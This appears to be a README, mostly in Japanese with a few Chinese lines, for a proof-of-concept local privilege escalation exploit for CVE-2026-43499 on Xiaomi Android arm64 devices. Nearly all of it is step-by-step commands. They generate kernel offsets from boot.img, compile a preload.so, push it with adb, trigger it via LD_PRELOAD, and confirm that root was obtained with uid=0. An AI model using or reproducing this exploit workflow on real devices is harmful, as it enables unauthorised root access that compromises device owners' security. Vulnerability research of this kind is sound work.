
Xiaomiデバイスに影響するCVE-2026-43499の脆弱性分析と概念実証(PoC)。教育および研究目的のみを対象としています。
English | 日本語
これは CVE-2026-43499 のための Android arm64 ローカル権限昇格アダプテーションプロジェクトです。
このプロジェクトは、対象デバイスの boot.img と profile 情報に基づいて target.h を生成し、対応する preload.so をコンパイルします。
説明: 本プロジェクトは汎用アダプテーションフレームワークであり、特定の機種に依存しません。実際に使用できるかどうかは、
generate_target.pyがtarget.hを正常に生成できるかどうかと、実機でのテスト結果によって判断されます。
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile_xxx.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Windows では以下を推奨します:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
MSYS2 で make をインストール:
pacman -S make coreutils
以下を準備してください:
boot.img
profile_xxx.json
profile の例:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
profile 内のこれら 2 つのアドレス:
p0_phys_offset
p0_kernel_phys_load
すでに Root 化されており、対象の boot.img と同じファームウェアの端末でスクリプトを実行すると取得できます:
python3 detect_offset.py
Windows でも可能です:
python detect_offset.py
Linux / macOS:
cd /path/to/project
Windows MSYS2 の例:
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
Linux / macOS の例:
export ANDROID_NDK_HOME=/path/to/android-ndk
Windows MSYS2 の例:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Windows で python3 が使えない場合は、次を使用:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
llvm-objdump が見つからないと表示された場合は、手動でパスを指定:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
成功すると、次のような出力が表示されます:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
成功すると、以下が生成されます:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
確認:
adb shell '/data/local/tmp/su -c id'
成功時には通常、次のように表示されます:
uid=0(root) gid=0(root)
お使いのパスでの例:
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
最終成果物:
source/build/bin/preload.so
LLVM をインストールするか、次を使用:
--llvm-objdump "/path/to/llvm-objdump"
Windows では MSYS2 でインストール:
pacman -S make coreutils
通常は NDK パスが正しく設定されていないことが原因です。
Windows MSYS2 の例:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
通常、現在の boot.img またはカーネルレイアウトがまだ正常にアダプテーションされていないことを意味します。
重点的に確認する項目:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h を再生成する必要があります。target.h は手動で編集せず、generate_target.py によって自動生成してください。